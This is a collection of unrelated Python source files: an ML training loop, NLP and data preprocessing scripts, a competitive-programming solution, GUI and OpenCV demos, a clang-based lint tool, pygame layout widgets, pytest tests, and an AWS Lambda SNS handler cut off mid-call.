from dataset import TorchDataset, TorchDataLoader
from torch.utils.tensorboard import SummaryWriter
import torch
from contrastive_models import ModelWrapper
from losses import bimodal_loss, trimodal_loss
import os
import numpy as np
import shutil
import matplotlib.pyplot as plt

def visualize_data(train_dict, val_dict, writer, epoch):
    fig = plt.figure(figsize=(20, 20))
    gs = fig.add_gridspec(2, 1)
    ax_loss = fig.add_subplot(gs[0])
    ax_acc = fig.add_subplot(gs[1])
    xs = np.arange(epoch + 1)
    for mode, (data_dict, v_tag) in {"Train": (train_dict, '-'), "Val": (val_dict, 'o')}.items():
        losses = np.array(data_dict["losses"])
        accuracies = np.array(data_dict["accuracies"])
        for elt, (c, compare_name) in enumerate([("r", "rgb_audio"), ("g", "rgb_action"),
                                                 ("b", "action_audio"), ("k", "total")]):
            ax_loss.plot(xs, losses[:, elt], f'{c}{v_tag}', label=f"{mode} Loss/{compare_name}")
            if elt != 3:
                ax_acc.plot(xs, accuracies[:, elt], f'{c}{v_tag}', label=f"{mode} Acc/{compare_name}")
    ax_acc.legend()
    ax_loss.legend()
    writer.add_figure("Training Summary", fig, global_step=epoch, close=True)

def train_representations(config):
    """
    Create torch dataset/dataloader objects. Initialize models, optimizer, losses, labels.
    """
    # writer_comment = f"-b:{config['batch_size_train']}-adam:{config['adam']}lr:{config['lr']}-g:{config['gamma']}-m:{config['milestones']}-s:{config['max_samples']}-arch:{config['architecture']}-backbone:{config['cnn_backbone']}-rmode:{config['rgb_mode']}-roffs:{config['rgb_offset']}-tag:{config['tag']}"
    config["num_img_traj"] = 13 - config['rgb_offset']
    writer = SummaryWriter(comment="")
    dataloader = TorchDataLoader(config)
    full_dataloader, train_dataloader, val_dataloader = dataloader.dataloaders
    device = 'cuda' if torch.cuda.is_available() else 'cpu'
    model_wrapper = ModelWrapper(config)
    model_wrapper.to(device)
    ce_loss = torch.nn.CrossEntropyLoss(), torch.nn.CrossEntropyLoss(), torch.nn.CrossEntropyLoss()
    mse_loss = torch.nn.MSELoss(reduction='none')
    labels_train = torch.arange(config["batch_size_train"]).to(device)
    labels_valid = torch.arange(config["batch_size_valid"]).to(device)
    """
    Run training and validation iterations.
    """
    train_data = {"losses": [], "accuracies": [], "batch_size": config["batch_size_train"]}
    val_data = {"losses": [], "accuracies": [], "batch_size": config["batch_size_valid"]}
    for epoch in range(config["epochs"]):
        train_data["batches"], val_data["batches"] = 0, 0
        train_data["epoch_num_cor"], val_data["epoch_num_cor"] = [0, 0, 0], [0, 0, 0]
        train_data["epoch_losses"], val_data["epoch_losses"] = ([], [], [], []), ([], [], [], [])

        for key in model_wrapper.models.keys():
            [model.train() for model in model_wrapper.models[key].values()]

        for sample_elt, sample in enumerate(train_dataloader):
            if len(sample["rgb"]) < config["batch_size_train"]:
                continue
            if config["architecture"] == "trimodal":
                batch_loss = trimodal_loss(model_wrapper.models, sample, config["batch_size_train"], device, ce_loss,
                                           labels_train, train_data, config)

            elif config["architecture"] == "bimodal":
                batch_loss = bimodal_loss(model_wrapper.models, sample, config["batch_size_train"], device, ce_loss,
                                          labels_train, train_data, config)
            batch_loss.backward()
            for key, optimizer in model_wrapper.optimizers.items():
                optimizer.step()
                optimizer.zero_grad()

        with torch.no_grad():
            for key in model_wrapper.models.keys():
                [model.eval() for model in model_wrapper.models[key].values()]

            for sample_elt, sample in enumerate(val_dataloader):
                if len(sample["rgb"]) < config["batch_size_valid"]:
                    continue

                if config["architecture"] == "trimodal":
                    batch_loss = trimodal_loss(model_wrapper.models, sample, config["batch_size_valid"], device,
                                               ce_loss,
                                               labels_valid, val_data, config)
                elif config["architecture"] == "bimodal":
                    batch_loss = bimodal_loss(model_wrapper.models, sample, config["batch_size_valid"], device, ce_loss,
                                              labels_valid, val_data, config)

        for mode, data_dict in {"Train": train_data, "Val": val_data}.items():
            data_dict["acc_epoch"] = np.array(data_dict["epoch_num_cor"]) / (
                    data_dict["batch_size"] * data_dict["batches"])
            data_dict["avg_loss_epoch"] = np.mean(data_dict["epoch_losses"], axis=1)
            data_dict["losses"].append(data_dict["avg_loss_epoch"])
            data_dict["accuracies"].append(data_dict["acc_epoch"])
            writer.add_scalar(f'Loss/{mode} rgb audio', data_dict["avg_loss_epoch"][0], epoch)
            writer.add_scalar(f'Loss/{mode} rgb actions', data_dict["avg_loss_epoch"][1], epoch)
            writer.add_scalar(f'Loss/{mode} audio actions', data_dict["avg_loss_epoch"][2], epoch)
            writer.add_scalar(f'Loss/{mode} total', data_dict["avg_loss_epoch"][3], epoch)
            writer.add_scalar(f'Accuracy/{mode} rgb audio', data_dict["acc_epoch"][0], epoch)
            writer.add_scalar(f'Accuracy/{mode} rgb actions', data_dict["acc_epoch"][1], epoch)
            writer.add_scalar(f'Accuracy/{mode} audio actions', data_dict["acc_epoch"][2], epoch)
        visualize_data(train_data, val_data, writer, epoch)
        print(train_data["losses"][-1], val_data["losses"][-1], train_data["acc_epoch"], val_data["acc_epoch"])

        if config["save"]:
            model_save_dir = f"{config['architecture']}_models"
            if os.path.exists(model_save_dir):
                shutil.rmtree(model_save_dir)
            os.mkdir(model_save_dir)
            torch.save(model_wrapper.state_dict(), f"{model_save_dir}/wrapper_model.pt")

        [scheduler.step() for scheduler in model_wrapper.schedulers]

if __name__ == "__main__":
        config = {
                "dataset_path": "hw_dataset_craigie", "train_ratio": .8, "max_samples": "max",
                "batch_size_train": 64, "batch_size_valid": 64, "rgb_offset": 4,
                "save": True,
                "cnn_backbone": "resnet", "pretrained": False, "trainable": True,
                "architecture": "trimodal", "adam": True, "epochs": 10,
        }
        train_representations(config)


import nltk
import spacy
import os

# Set up NLTK for collocation analysis and theme identification
nltk.download("collocations")
nltk.download("punkt")
nltk.download("stopwords")

# Set up spaCy for named entity recognition
nlp = spacy.load("en_core_web_sm")

# Iterate over the .txt files in the directory
for file in os.listdir("ZenDirectoryGoesHere"):
    if file.endswith(".txt"):
        # Read the text from the file
        with open(file, 'r') as f:
            text = f.read()

        # Pre-process the text for collocation analysis and theme identification
        tokens = nltk.word_tokenize(text)
        filtered_tokens = [token for token in tokens if token not in nltk.corpus.stopwords.words("english")]
        bigrams = nltk.bigrams(filtered_tokens)
        finder = nltk.BigramCollocationFinder.from_words(bigrams)
        finder.apply_freq_filter(3)
        collocations = finder.nbest(nltk.collocations.BigramAssocMeasures().pmi, 10)
        themes = nltk.Text(filtered_tokens).collocations()

        # Perform named entity recognition using spaCy
        doc = nlp(text)
        entities = [(entity.text, entity.label_) for entity in doc.ents]

        # Write the results of the analysis to a .txt file
        with open("entities.txt", "w") as f:
            f.write(str(entities))


"""
File: preprocess.py
Date: May 10, 2020
Description: Data preprocessing
Source: https://github.com/KEggensperger/DistNet/
"""

import numpy as np
import logging
import copy

def remove_timeouts(runningtimes, cutoff, features=None, sat_ls=None, log=False):
    """
    Remove all instances with more than one value >= cutoff
    """

    if features is None:
        features = [0] * runningtimes.shape[0]
    if sat_ls is None:
        sat_ls = [0] * runningtimes.shape[0]

    new_rt = list()
    new_ft = list()
    new_sl = list()
    assert runningtimes.shape[0] == len(features) == len(sat_ls)
    for instance, feature, sat in zip(runningtimes, features, sat_ls):
        if not np.any(instance >= cutoff):
            new_ft.append(feature)
            new_rt.append(instance)
            new_sl.append(sat)
    if log:
        print("Discarding {:d} ({:d}) instances because not stated TIMEOUTS".format(len(features) - len(new_ft), len(features)))
    return np.array(new_rt), np.array(new_ft), new_sl

def remove_instances_with_status(runningtimes, features, sat_ls=None, status="CRASHED", log=False):
    if sat_ls is None:
        print("Could not remove {} instances".format(status))

    new_rt = list()
    new_ft = list()
    new_sl = list()
    assert runningtimes.shape[0] == len(features) == len(sat_ls)
    for f, r, s in zip(features, runningtimes, sat_ls):
        if status not in s:
            new_rt.append(r)
            new_sl.append(s)
            new_ft.append(f)
    if log:
        print("Discarding {:d} ({:d}) instances because of {}".format(len(features) - len(new_ft), len(features), status))
    return np.array(new_rt), np.array(new_ft), new_sl

def remove_constant_instances(runningtimes, features, sat_ls=None, log=False):
    if sat_ls is None:
        sat_ls = [0] * runningtimes.shape[0]

    new_rt = list()
    new_ft = list()
    new_sl = list()
    assert runningtimes.shape[0] == len(features) == len(sat_ls)
    for f, r, s in zip(features, runningtimes, sat_ls):
        if np.std(f) > 0:
            new_rt.append(r)
            new_sl.append(s)
            new_ft.append(f)
    if log:
        print("Discarding {:d} ({:d}) instances because of constant features".format(len(features) - len(new_ft), len(features)))
    return np.array(new_rt), np.array(new_ft), new_sl

def feature_imputation(features, impute_val=-512, impute_with="median"):
    print(features.shape)
    if impute_with == "median":
        for col in range(features.shape[1]):
            med = np.median(features[:, col])
            features[:, col] = [med if i == impute_val else i for i in features[:, col]]
    return features

def remove_zeros(runningtimes, features=None, sat_ls=None, log=False):
    """
    Remove all instances with more than one value == 0
    """

    if features is None:
        features = [0] * runningtimes.shape[0]
    if sat_ls is None:
        sat_ls = [0] * runningtimes.shape[0]

    new_rt = list()
    new_ft = list()
    new_sl = list()
    assert runningtimes.shape[0] == len(features) == len(sat_ls)
    for instance, feature, sat in zip(runningtimes, features, sat_ls):
        if not np.any(instance <= 0):
            new_ft.append(feature)
            new_rt.append(instance)
            new_sl.append(sat)
    if log:
        print("Discarding {:d} ({:d}) instances because of ZEROS".format(len(features) - len(new_ft), len(features)))
    return np.array(new_rt), np.array(new_ft), new_sl

def det_constant_features(X, log=False):
    """
    Return a list with constant features
    :param X:
    :return:
    """
    max_ = X.max(axis=0)
    min_ = X.min(axis=0)
    diff = max_ - min_

    det_idx = np.where(diff <= 10e-10)
    if log:
        print("Discarding {:d} ({:d}) features".format(det_idx[0].shape[0], X.shape[1]))
    return det_idx

def det_transformation(X):
    """
    Return min max scaling
    """
    min_ = np.min(X, axis=0)
    max_ = np.max(X, axis=0) - min_
    return min_, max_

def preprocess_features(tra_X, val_X, test_X=[], scal="meanstd", log=False):
    # Remove constant features and rescale

    # Remove constant features
    del_idx = det_constant_features(tra_X, log)
    tra_X = np.delete(tra_X, del_idx, axis=1)
    val_X = np.delete(val_X, del_idx, axis=1)
    if len(test_X) > 0:
        test_X = np.delete(test_X, del_idx, axis=1)

    # Min/Max Scale instance features
    if scal == "minmax":
        min_, max_ = det_transformation(tra_X)
        tra_X = (tra_X - min_) / max_
        val_X = (val_X - min_) / max_
        if len(test_X) > 0:
            test_X = (test_X - min_) / max_
    else:
        mean_ = tra_X.mean(axis=0)
        std_ = tra_X.std(axis=0)
        tra_X = (tra_X - mean_) / std_
        val_X = (val_X - mean_) / std_
        if len(test_X) > 0:
            test_X = (test_X - mean_) / std_

    return tra_X, val_X, test_X

def preprocess(features, runtimes, train_idx, validate_idx, num_train_samples, lb, seed, log=False):
    logger = None
    if logging:
        logger = logging.getLogger()
    X_train = features[train_idx, :]
    X_valid = features[validate_idx, :]
    y_train = runtimes[train_idx]
    y_valid = runtimes[validate_idx]

    X_train, X_valid, _ = preprocess_features(X_train, X_valid, scal="meanstd")

    # flatten
    X_trn_flat = np.concatenate([[x for i in range(100)] for x in X_train])
    X_vld_flat = np.concatenate([[x for i in range(100)] for x in X_valid])
    y_trn_flat = y_train.flatten().reshape([-1, 1])
    y_vld_flat = y_valid.flatten().reshape([-1, 1])

    # Unfold data
    subset_idx = list(range(100))
    if num_train_samples != 100:
        if logging:
            logger.info("Cut data down to {:d} samples with seed {:d}".format(num_train_samples, seed))
        rs = np.random.RandomState(seed)
        rs.shuffle(subset_idx)
        subset_idx = subset_idx[:num_train_samples]
        logger.info(subset_idx)

        # Only shorten data used for training
        X_trn_flat = np.concatenate([[x for i in range(num_train_samples)] for x in X_train])
        y_train = y_train[:, subset_idx]
        y_trn_flat = y_train.flatten().reshape([-1, 1])

    # Min/Max Scale runnningtimes
    y_max_ = np.max(y_trn_flat)
    y_min_ = 0
    y_trn_flat = (y_trn_flat - y_min_) / y_max_
    y_vld_flat = (y_vld_flat - y_min_) / y_max_
    y_train = (y_train - y_min_) / y_max_
    y_valid = (y_valid - y_min_) / y_max_

    print(np.mean(y_train))

    # Set solution flag
    y_trn_flat = np.c_[y_trn_flat, np.ones(len(y_trn_flat))]
    y_vld_flat = np.c_[y_vld_flat, np.ones(len(y_vld_flat))]

    # Set the lowerbound (censored) samples
    logger.info("Using lb: {}".format(lb))
    if lb != 0:
        y_trn_flat = y_train.flatten()
        ytemp = copy.deepcopy(y_trn_flat)
        ytemp.sort(axis=0)
        censored_time = ytemp[int(num_train_samples * (1 - (lb / 100))) - 1]
        idx = int(len(ytemp) * (1 - (lb / 100)) - 1)
        censored_time = ytemp[idx]
        mask = y_trn_flat > censored_time
        y_trn_flat = np.where(~mask, y_trn_flat, censored_time)
        y_trn_flat = np.c_[y_trn_flat, np.where(~mask, 1, 0).flatten()]

    return X_trn_flat, X_vld_flat, y_trn_flat, y_vld_flat, y_train, y_valid


# 2885번 초콜릿 식사
# https://www.acmicpc.net/problem/2885

"""
# 정수론
풀고 보니 2진수로 변환하여
1이 나오는 첫 인덱스와 마지막 인덱스의 차이를 구하는 문제

1 : 1   => 0 - 0 = 0        1번 (1일 경우는 2부터 시작하므로 1번 쪼개고 시작)
4 : 100 => 0 - 0 = 0        0번 (단 0일 경우는 2의 배수이므로 0)
5 : 101 => 2 - 0 = 2 + 1,   3번
6 : 110 => 2 - 1 = 1 + 1,   2번
"""

K = int(input())
result = []
while K:
    result.append(K % 2)
    K //= 2

if len(result) == 1:
    print(2, 1)
else:
    s = result.index(1)
    result.reverse()
    e = len(result)-1 - result.index(1)
    if s == e:
        print(2 ** (len(result)-1), 0)
    else:
        print(2 ** len(result), e - s + 1)

"""
# 그리디 풀이
K = int(input())

chocolate = K
sqrt_cnt = 0

isSqrt = True
if K == 1:
    isSqrt = False

while K > 1:
    if K % 2:
        isSqrt = False
    sqrt_cnt += 1
    K //= 2

# print(isSqrt, sqrt_cnt, K)
if not isSqrt and K:
    sqrt_cnt += 1

cnt = 0
idx = sqrt_cnt
isDone = False
while chocolate:
    if chocolate == 2 ** idx:
        break
    elif chocolate > 2 ** idx:
        cnt += 1
        chocolate -= 2 ** idx
    else:
        cnt += 1
    idx -= 1

    # print(cnt, idx, isDone)

# 초콜릿의 개수는 K보다 큰 수 중 가장 작은 2의 제곱수
print(2**sqrt_cnt, cnt)
"""


import googletrans
from tkinter import *
from tkinter import ttk, messagebox
from googletrans import Translator, LANGUAGES

#translator
def change(text='type', src='English' , dest='Kannada'):
    text1 = text
    src1 = src
    dest1 = dest
    trans = Translator()
    trans1 = trans.translate(text, src=src1, dest =dest1)
    return trans1.text

#function for get data
def data():
    s = combo_sor.get()
    d = combo_dest.get()
    masg = sor_txt.get(1.0, END)
    textget = change(text = masg, src = s, dest=d)
    dest_txt.delete(1.0,END)
    dest_txt.insert(END, textget)

#title
root = Tk()
root.title('Translator')
root.geometry('500x700')
root.config(bg ='light blue')

#titlebox heading
lab_text = Label(root, text='Translator', font=('Times new roman', 40, 'bold'))
lab_text.place(x=500, y=30, height=45, width=300)

#fro frame
frame = Frame(root).pack(side=BOTTOM)

#sourcebox heading
lab_text = Label(root, text='Source Text', font=('Times new roman', 20, 'bold'), fg='white', bg='black')
lab_text.place(x=120, y=120, height=30, width=300)

# source textbox
sor_txt = Text(frame, font=('Times new roman', 15, 'bold'), wrap=WORD)
sor_txt.place(x=70, y=200, height=200, width=480)

#combobox
list_text = list(LANGUAGES.values())

combo_sor = ttk.Combobox(frame, value = list_text)
combo_sor.place(x=70, y=170, height =30, width =100)
combo_sor.set('English')

#for translate button code
Button_change = Button(frame, text='Translate', font=('bold',15),relief = RAISED, command=data, bg='light grey', fg="black")
Button_change.place(x=600, y=280, height=40, width=100)

combo_dest = ttk.Combobox(frame, value = list_text)
combo_dest.place(x=770, y=170, height =30, width =100)
combo_dest.set('Kannada')

# destination box heading

lab_text = Label(root, text=' destination text', font=('Times new roman', 20, 'bold'), fg='white', bg='black')
lab_text.place(x=800, y=120, height=30, width=300)

# destination textbox
dest_txt = Text(frame, font=('Times new roman', 15, 'bold'), wrap=WORD)
dest_txt.place(x=770, y=200, height=200, width=480)

root.mainloop()


import cv2
import numpy as np

class Detector:
    def __init__(self):
        self.line_y = 810
        self.line_x_left = 585
        self.line_x_right = 800
        self.detec = []
        self.rect_min_width = 80
        self.rect_min_height = 80
        self.offset = 4
        self.subtracted = None
        self.video = None
    def backgroundExtract(self,videoName):
        self.video = cv2.VideoCapture(videoName)
        self.subtracted = cv2.createBackgroundSubtractorKNN()
    def mainloop(self):
        car_count= 0
        while True:
            ret, frame = self.video.read()
            gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
            gray_blur = cv2.blur(gray, (5, 5))
            gray_blur_foreground = self.subtracted.apply(gray_blur)
            kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (5, 5))
            morphed = cv2.morphologyEx(cv2.dilate(gray_blur_foreground, np.ones((5, 5))), cv2.MORPH_CLOSE, kernel)
            contour, hier = cv2.findContours(morphed, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)

            cv2.line(frame, (self.line_x_left, self.line_y), (self.line_x_right,self.line_y), (0, 0, 255), 5)
            for (i, c) in enumerate(contour):
                (x, y, w, h) = cv2.boundingRect(c)
                if w >= self.rect_min_width and h >= self.rect_min_height:
                    cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2)
                    center = (x + int(w / 2), y + int(h / 2))
                    self.detec.append(center)

                    for (x, y) in self.detec:
                        if x < self.line_x_right and x > self.line_x_left and y < (self.line_y + self.offset) and y > (self.line_y - self.offset):
                            car_count += 1
                            self.detec.remove((x, y))

            text = str(car_count) + " car"
            if car_count > 1:
                text += "s"
            cv2.putText(frame, text, (960, 100), cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 0, 255), 3)
            cv2.imshow("baris", frame)
            if cv2.waitKey(1) == 27:
                break
        self.video.release()
        cv2.destroyAllWindows()

hwDetector = Detector()
hwDetector.backgroundExtract('videoplayback.mp4')
hwDetector.mainloop()


#!/usr/bin/env python
"""
Enforce the usage of Hammerspoon's Lua stack guarding macros
"""

from __future__ import print_function
import sys

from clang.cindex import Config
from clang.cindex import Index
from clang.cindex import CursorKind
from clang.cindex import TypeKind

FILENAME = "Unknown"

def is_function(node):
    """Is the given node a C function or an ObjC method?"""
    return node.kind in [CursorKind.FUNCTION_DECL,
                         CursorKind.OBJC_INSTANCE_METHOD_DECL,
                         CursorKind.OBJC_CLASS_METHOD_DECL]

def is_implementation(node):
    """Is the given node an ObjC @implementation?"""
    return node.kind == CursorKind.OBJC_IMPLEMENTATION_DECL

def is_luastate_param(node):
    """Is the given node a lua_State parameter?"""
    # We need the underlying text tokens to detect the typedef 'lua_State'
    tokens = [x.spelling for x in node.get_tokens()]
    try:
        return node.type.kind == TypeKind.POINTER and \
            tokens[0] == 'lua_State'
    except IndexError:
        return False

def is_lua_call(node):
    """Is the given node a Lua->C call?"""
    params = [x for x in node.get_children() if x.kind == CursorKind.PARM_DECL]
    return node.result_type.kind == TypeKind.INT and len(params) == 1 and \
        is_luastate_param(params[0])

def build_tree(node, recurse=True):
    """Build a tree below a node"""
    if recurse:
        children = [build_tree(c) for c in node.get_children()]
    else:
        children = ['skipped']
    return {'node': node,
            'kind': node.kind,
            'spelling': node.spelling,
            'tokens': ' '.join([x.spelling for x in node.get_tokens()]),
            'children': children}

def contains_lua_calls(item):
    """Check if a node contains any Lua API calls"""
    if 'lua_' in item['tokens']:
        return True
    if 'luaL_' in item['tokens']:
        return True
    if 'LuaSkin' in item['tokens']:
        return True
    return False

def main(filename):
    """Main function"""
    functions = []
    tree = []
    Config.set_library_file(
        "/Library/Developer/CommandLineTools/usr/lib/libclang.dylib")

    index = Index.create()
    ast = index.parse(None, [filename])
    if not ast:
        print("Unable to parse file")
        sys.exit(1)

    # Step 1: Find all the C/ObjC functions
    functions = [x for x in ast.cursor.get_children() if is_function(x)]

    # Step 1a: Add in ObjC class methods
    for item in ast.cursor.get_children():
        if is_implementation(item):
            functions += [x for x in item.get_children() if is_function(x)]

    # Step 2: Filter out all of the functions that are Lua->C calls
    functions = [x for x in functions if not is_lua_call(x)]

    # Step 3: Recursively walk the remaining functions
    tree = [build_tree(x, False) for x in functions]

    # Step 4: Filter the functions down to those which contain Lua calls
    tree = [x for x in tree if contains_lua_calls(x)]

    for thing in tree:
        stacktxt = "NO STACKGUARD"
        hasstackentry = "_lua_stackguard_entry" in thing['tokens']
        hasstackexit = "_lua_stackguard_exit" in thing['tokens']
        if hasstackentry and hasstackexit:
            continue
        if hasstackentry and not hasstackexit:
            stacktxt = "STACK ENTRY, BUT NO EXIT"
        if hasstackexit and not hasstackentry:
            stacktxt = "STACK EXIT, BUT NO ENTRY (THIS IS A CRASH)"
        print(u"%s :: %s :: %s" % (filename, thing['spelling'], stacktxt))

if __name__ == '__main__':
    main(sys.argv[1])


#
# Albow - Layout widgets
#

from pygame import Rect
from widget import Widget

class RowOrColumn(Widget):
    _is_gl_container = True
    focusable = False

    def __init__(self, size, items, kwds):
        align = kwds.pop('align', 'c')
        self.spacing = spacing = kwds.pop('spacing', 10)
        expand = kwds.pop('expand', None)
        if isinstance(expand, int):
            expand = items[expand]

        #-# Translation live update preparation
        self.expand = expand
        self.align = align
        self._size = size
        #-#

        #if kwds:
        #    raise TypeError("Unexpected keyword arguments to Row or Column: %s"
        #        % kwds.keys())
        Widget.__init__(self, **kwds)
    #-# Translation live update preparation
        self.calc_size(items)

    def calc_size(self, _items=None):
        if _items:
            items = _items
        else:
            items = self.subwidgets
        expand = self.expand
        align = self.align
        size = self._size
        spacing = self.spacing
    #-#

        # If the 'expand' value is in 'h' or 'v', resize the widgets according
        # to the larger one.
        if type(expand) in (str, unicode):
            w = 'n'
            h = 'n'
            if 'h' in expand:
                # Expand horizontally
                w = max([a.width for a in items])
            if 'v' in expand:
                # Expand vertically
                h = max([a.height for a in items])
            if w != 'n' and h == 'n':
                for item in items:
                    item.width = w
            elif w == 'n' and h != 'n':
                for item in items:
                    item.height = h
            elif w != 'n' and h != 'n':
                for item in items:
                    item.width = w
                    item.height = h

        d = self.d
        longways = self.longways
        crossways = self.crossways
        axis = self.axis
        k, attr2, attr3 = self.align_map[align]
        w = 0
        length = 0
        if items:
            if isinstance(expand, int):
                expand = items[expand]
            elif not expand:
                expand = items[-1]
        move = ''
        for item in items:
            r = item.rect
            w = max(w, getattr(r, crossways))
            if item is expand:
                item.set_resizing(axis, 's')
                move = 'm'
            else:
                item.set_resizing(axis, move)
                length += getattr(r, longways)
        if size is not None:
            n = len(items)
            if n > 1:
                length += spacing * (n - 1)
            setattr(expand.rect, longways, max(1, size - length))
        h = w * k // 2
        m = self.margin
        px = h * d[1] + m
        py = h * d[0] + m
        sx = spacing * d[0]
        sy = spacing * d[1]
        for item in items:
            setattr(item.rect, attr2, (px, py))
            #-# Translation live update preparation
            if _items:
                self.add(item)
            #-#
            p = getattr(item.rect, attr3)
            px = p[0] + sx
            py = p[1] + sy
        self.shrink_wrap()

    def call_handler(self, name, *args):
        # Automatically call the parent *_action methods
        if Widget.call_handler(self, name, *args) == 'pass':
            return self.call_parent_handler(name, *args)

#---------------------------------------------------------------------------

class Row(RowOrColumn):
    d = (1, 0)
    axis = 'h'
    longways = 'width'
    crossways = 'height'
    align_map = {
        't': (0, 'topleft', 'topright'),
        'c': (1, 'midleft', 'midright'),
        'b': (2, 'bottomleft', 'bottomright'),
    }

    def __init__(self, items, width=None, **kwds):
        """
        Row(items, align=alignment, spacing=10, width=None, expand=None)
        align = 't', 'c' or 'b'
        """
        RowOrColumn.__init__(self, width, items, kwds)

#---------------------------------------------------------------------------

class Column(RowOrColumn):
    d = (0, 1)
    axis = 'v'
    longways = 'height'
    crossways = 'width'
    align_map = {
        'l': (0, 'topleft', 'bottomleft'),
        'c': (1, 'midtop', 'midbottom'),
        'r': (2, 'topright', 'bottomright'),
    }

    def __init__(self, items, height=None, **kwds):
        """
        Column(items, align=alignment, spacing=10, height=None, expand=None)
        align = 'l', 'c' or 'r'
        """
        RowOrColumn.__init__(self, height, items, kwds)

#---------------------------------------------------------------------------

class Grid(Widget):
    _is_gl_container = True

    def __init__(self, rows, row_spacing=10, column_spacing=10, **kwds):
        col_widths = [0] * len(rows[0])
        row_heights = [0] * len(rows)
        for j, row in enumerate(rows):
            for i, widget in enumerate(row):
                if widget:
                    col_widths[i] = max(col_widths[i], widget.width)
                    row_heights[j] = max(row_heights[j], widget.height)
        row_top = 0
        for j, row in enumerate(rows):
            h = row_heights[j]
            y = row_top + h // 2
            col_left = 0
            for i, widget in enumerate(row):
                if widget:
                    w = col_widths[i]
                    x = col_left
                    widget.midleft = (x, y)
                col_left += w + column_spacing
            row_top += h + row_spacing
        width = max(1, col_left - column_spacing)
        height = max(1, row_top - row_spacing)
        r = Rect(0, 0, width, height)
        #print "albow.controls.Grid: r =", r ###
        #print "...col_widths =", col_widths ###
        #print "...row_heights =", row_heights ###
        Widget.__init__(self, r, **kwds)
        self.add(rows)

#---------------------------------------------------------------------------

class Frame(Widget):
    #  margin  int        spacing between border and widget

    border_width = 1
    margin = 2

    def __init__(self, client, border_spacing=None, **kwds):
        Widget.__init__(self, **kwds)
        self.client = client
        if border_spacing is not None:
            self.margin = self.border_width + border_spacing
        d = self.margin
        w, h = client.size
        self.size = (w + 2 * d, h + 2 * d)
        client.topleft = (d, d)
        self.add(client)

    def call_handler(self, name, *args):
        # Automatically call the parent *_action methods
        if Widget.call_handler(self, name, *args) == 'pass':
            return self.call_parent_handler(name, *args)


import pytest

from valsys.modeling.model.fact import Fact
from valsys.modeling.model.line_item import LineItem
from valsys.modeling.model.tests.factories import line_item_factory

class TestLineItem:

    @property
    def valid_uid(self):
        return 'jkdhfgkdhg'

    @property
    def valid_name(self):
        return 'line item name'

    def test_init(self):
        uid = self.valid_uid
        name = self.valid_name
        li = LineItem(uid=uid, name=name)
        assert li.uid == uid
        assert li.name == name
        assert len(li.facts) == 0
        assert li.tags == []

    def test_from_json_no_facts_no_tags(self):
        uid = self.valid_uid
        name = self.valid_name
        ij = {LineItem.fields.ID: uid, LineItem.fields.NAME: name}
        li_fj = LineItem.from_json(ij)
        assert li_fj.uid == uid
        assert li_fj.name == name
        assert len(li_fj.facts) == 0
        assert li_fj.tags == []

    def test_from_json_no_facts_with_tags(self):
        uid = self.valid_uid
        name = self.valid_name
        tags = ['t1', 't2']
        ij = {
            LineItem.fields.ID: uid,
            LineItem.fields.NAME: name,
            'tags': tags
        }
        li_fj = LineItem.from_json(ij)
        assert li_fj.uid == uid
        assert li_fj.name == name
        assert len(li_fj.facts) == 0
        assert li_fj.tags == tags

    def test_from_json_with_facts_with_tags(self):
        uid = self.valid_uid
        name = self.valid_name
        tags = ['t1', 't2']
        nfacts = 4
        li_fj = line_item_factory(uid=uid, name=name, nfacts=nfacts, tags=tags)
        assert li_fj.uid == uid
        assert li_fj.name == name
        assert len(li_fj.facts) == nfacts
        assert li_fj.tags == tags

    def test_facts_for_formula_edit(self):

        li_fj = line_item_factory()
        ffe = li_fj.facts_for_formula_edit()
        assert len(ffe) == 2
        expected_fields = [
            Fact.fields.UID, Fact.fields.FORMULA, Fact.fields.PERIOD,
            Fact.fields.IDENTIFIER
        ]
        for f in ffe:
            assert set(f.keys()).intersection(set(expected_fields)) == set(
                f.keys())

    def test_replace_fact_ok(self):
        uid = self.valid_uid
        name = self.valid_name
        facts = [{Fact.fields.UID: 42}, {Fact.fields.UID: 41}]
        ij = {
            LineItem.fields.ID: uid,
            LineItem.fields.NAME: name,
            'edges': {
                'facts': facts
            }
        }
        li_fj = LineItem.from_json(ij)
        assert len(li_fj.facts) == 2
        new_fact_index = 0
        new_fact = Fact(uid=92,
                        identifier='1',
                        formula='42',
                        period=1,
                        value=1,
                        fmt='1',
                        numeric=True)
        li_fj.replace_fact(new_fact_index, new_fact)
        assert len(li_fj.facts) == 2
        assert li_fj.facts[new_fact_index] == new_fact

    def test_replace_fact_invalid_index(self):
        uid = self.valid_uid
        name = self.valid_name

        facts = [{Fact.fields.UID: 42}, {Fact.fields.UID: 41}]
        ij = {
            LineItem.fields.ID: uid,
            LineItem.fields.NAME: name,
            'edges': {
                'facts': facts
            }
        }
        li_fj = LineItem.from_json(ij)
        assert len(li_fj.facts) == 2
        new_fact_index = 2
        new_fact = Fact(uid=92,
                        identifier='1',
                        formula='42',
                        period=1,
                        value=1,
                        fmt='1',
                        numeric=True)
        with pytest.raises(Exception) as err:
            li_fj.replace_fact(new_fact_index, new_fact)
        assert str(new_fact_index) in str(err)

    def test_pull_fact_by_identifier_found(self):
        li_fj = line_item_factory()
        f = li_fj.pull_fact_by_identifier('fact-1')
        assert f.uid == '1'

    def test_pull_fact_by_identifier_not_found(self):
        li_fj = line_item_factory()
        assert li_fj.pull_fact_by_identifier('garbage') is None

    def test_pull_fact_by_id_found(self):
        li_fj = line_item_factory()
        f = li_fj.pull_fact_by_id('1')
        assert f.uid == '1'

    def test_pull_fact_by_id_not_found(self):
        li_fj = line_item_factory()
        assert li_fj.pull_fact_by_id('garbage') is None


import json
import boto3

def lambda_handler(event, context):

    sns_topics=[
        {
            "Build": "top_scorers",
            "sns_topic": "arn:aws:sns:eu-west-2:460327182513:FootballDynamoDBBuildTopScorers"
        },
        {
            "Build": "league_table",
            "sns_topic": "arn:aws:sns:eu-west-2:460327182513:FootballDynamoDBBuildLeagueTable"
        }
    ]

    array_to_return = []
    try:
        event_body = event["body"]
        payload = json.loads(event_body)
        rows = payload["data"]

        for row in rows:
            row_number = row[0]
            input_value_1 = row[1]
            output_value = ["Message:", input_value_1]
            row_to_return = [row_number, output_value]
            array_to_return.append(row_to_return)

        client = boto3.client('sns')
        for obj in sns_topics:
            message = obj['Build']
            arn = obj['sns_topic']
            client.publish(
